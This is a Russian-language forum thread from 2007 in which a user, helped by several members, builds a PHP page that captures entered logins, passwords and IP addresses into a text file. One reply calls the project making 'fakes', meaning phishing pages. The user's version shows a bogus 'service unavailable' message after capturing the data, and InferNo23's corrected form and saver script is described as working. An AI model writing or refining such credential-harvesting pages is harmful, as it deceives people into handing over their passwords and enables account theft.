Просмотр полной версии : Сохранение данных в файл
Какой скрипт нужен для того, что бы при вводе loga и passa они сохранялись. И как их потом прасмотреть?
InferNo23
14.03.2007, 19:27
у тебя форма для ввода логина/пасса ?
<html>
<form method="post">
Login:<input type="text" name="login">
Pass:<input type="password" name="pass">
</form>
<?php
if(isset($_POST["login"]) && isset($_POST["pass"])){
$z = fopen("data.txt", "a");
fwrite($z, 'Login: '.$_POST["login"]."\n");
fwrite($z, 'Pass: '.$_POST["pass"]."\n\n");
fclose($z);
}
?>
</html>
у тебя форма для ввода логина/пасса ?
<html>
<form method="post">
Login:<input type="text" name="login">
Pass:<input type="password" name="pass">
</form>
<?php
if(isset($_POST["login"]) && isset($_POST["pass"])){
$z = fopen("data.txt", "a");
fwrite($z, 'Login: '.$_POST["login"]."\n");
fwrite($z, 'Pass: '.$_POST["pass"]."\n\n");
fclose($z);
}
?>
</html>
А вам взрослые не говорили что одинарные кавычки быстрее для работы скрипта, чем двойные :)
Ps: Вечером напишу статью "Все о .htaccess" =)
никто не любит правильно называть темы? буду стабильно ставить за это минусы..
Ps: Вечером напишу статью "Все о .htaccess" =)
чувак юзай поиск, статья уже была на форуме
А где просмотреть зарегиный log и pass?
А где просмотреть зарегиный log и pass?
omg
$z = fopen("data.txt", "a");
Какую ссылку нужну лепить, что бы при нажатии зарегиться всё это сохранялось в $z = fopen("data.txt", "a");
какая ссылка ты о чем? у тебя есть форма, в которую вводят данные, которые потом отсылаются на твой скрипт.
Ты не знаешь что такое форма, или параметр action? Тогда тебе надо html учить а не фейки делать, имхо.
Че такое форма я знаю! Но как потом отослать данные на скрипт?
<form action="www.твойсайт.ру/скрипт.php">
http://www.google.com/search?hl=en&q=учебник HTML&btnG=Google+Search
Хм хм...
1) Чтобы получить из формы переменные
<form method = post action = [script name]>
<input type="text" name="login">
<input type="text" name="pass">
</form>
<?php
$login = $HTTP_POST_VARS['login'];
$pass = $HTTP_POST_VARS['pass'];
?>
Ну а дальше разберешься ;)
MegaDeth
15.03.2007, 12:03
saiman, ты наверное имеешь ввиду отправка данных ГЕТом? тогда script.php?login=Vaysa&pass=pupkin007
и соотв. в скрипте бери данные не из массива $_POST a $_GET
$_GET["login"]
если ты знаешь что такое форма то ты должен знать и предназначение, хм, как отослать? <input type=Submit value="Send">
можеш и сам отослать запрос а не браузером, ну это обьяснять небуду учи протокол HTTP
Ещё вапрос.
<form method = post action = [script name]>
<input type="text" name="login">
<input type="text" name="pass">
</form>
<?php
$login = $HTTP_POST_VARS['login'];
$pass = $HTTP_POST_VARS['pass'];
?>
Там где script name пишем дапустим sax, затем <form action="www.твойсайт.ру/sax.php"> Я правильно понял?
если все это в одном фале то action = [script name] можно не писать.
ПОЛЬЗУЙСЯ КНОПКОЙ "КОД"!!!
Выбирайте относительные пути для action.
И сделайте ликбез по HTTP протоколу.
MegaDeth
15.03.2007, 23:02
http://slil.ru/24085880 доки по ХТТП
DRON-ANARCHY
16.03.2007, 00:12
Но как потом отослать данные на скрипт?
добавить <input type='submit'>
У меня две страницы http://мой сайт.ru/sa.html
<html>
<head>
<title>Untitled</title>
</head>
<body>
<form action=saver.php method=post>
Login: <input type="Text" name="login" value=""><br>
Password: <input type="pass" name="pass" value="">
<input name=log.txt type=hidden value=a>
<input type="Submit" value="Проверить">
<?
$1=login;
$2=pass;
$ip=getenv("Remote_addr");
$fp=fopen("log.txt", "a");
fputs($fp, "$1\t|$2\t|$ip\n");
echo "Извините, но сервис временно не доступен!";
?>
</body>
</html>
и http://мой сайт.ru/saver.php
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>Untitled</title>
</head>
<body>
<?
$1=login;
$2=pass;
$ip=getenv("Remote_addr");
$fp=fopen("log.txt", "a");
fputs($fp, "$1\t|$2\t|$ip\n");
<input name=log.txt type=hidden value=a>
echo "Извините, но сервис временно не доступен!";
?>
</body>
</html>
Почему log и pass не сохраняются в log.txt че я нетак сделал и как исправить?
наверное потому что переменная не может начинаться с цифры.
InferNo23
17.03.2007, 19:55
твой sa.html:
<html>
<head>
<title>Untitled</title>
</head>
<body>
<form action="saver.php" method="post">
Login: <input type="text" name="login" ><br>
Password: <input type="pass" name="pass" >
<input type="Submit" value="Проверить">
</body>
</html>
и saver.php
<html>
<head>
<title>Untitled</title>
</head>
<body>
<?php
$login = $_POST["login"];
$pass = $_POST["pass"];
$ip = getenv("REMOTE_ADDR");
$fp = fopen("log.txt", "a");
fputs($fp, "Login: $login "." Pass: $pass "." IP: $ip "."\n\n");
?>
все работает
Когда я нажимаю "проверить" переходит на страницу saver.php и выдаёт (невозможно отобразить страницу) и ничё не записыват в log.txt А в log.txt никаких скриптов не надо?
nc.STRIEM
17.03.2007, 23:41
тебе уже все настолько подробно разжевали, что дальше некуда!!!
мож стоит терь немного и своей головой подумать???
http://php.ru/
PS не забудь chmod 666 log.txt
переходит на страницу saver.php и выдаёт (невозможно отобразить страницу)
ну может головой хоть немного подумаем?
залить server.php на сервер как-то не догадался?
ну может головой хоть немного подумаем?
залить server.php на сервер как-то не догадался?
Не server.php, a saver.php т.к. некоторые могут не догадаться....
Смотря вообще какой экшен....
В этом то и проблема! Я залил saver.php на narod.ru
В этом то и проблема! Я залил saver.php на narod.ru
кхм
глупый вопрос - зачем? тебе сервер нужен с поддержкой пхп!
nc.STRIEM
18.03.2007, 14:09
А какие поддерживают?
https://forum.antichat.ru/thread7038.html
DRON-ANARCHY
18.03.2007, 14:13
наверное потому что переменная не может начинаться с цифры.
ааааа!!!! ЧОРТ!!!!
выньте меня из пацтала))))))
В этом то и проблема! Я залил saver.php на narod.ruДа вы меня убить хотите??? :D :D :D
ща сдохну))))
nc.STRIEM
18.03.2007, 14:52
Тема разжована! Все дано! Автор включаем смекалку!
<closed>
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot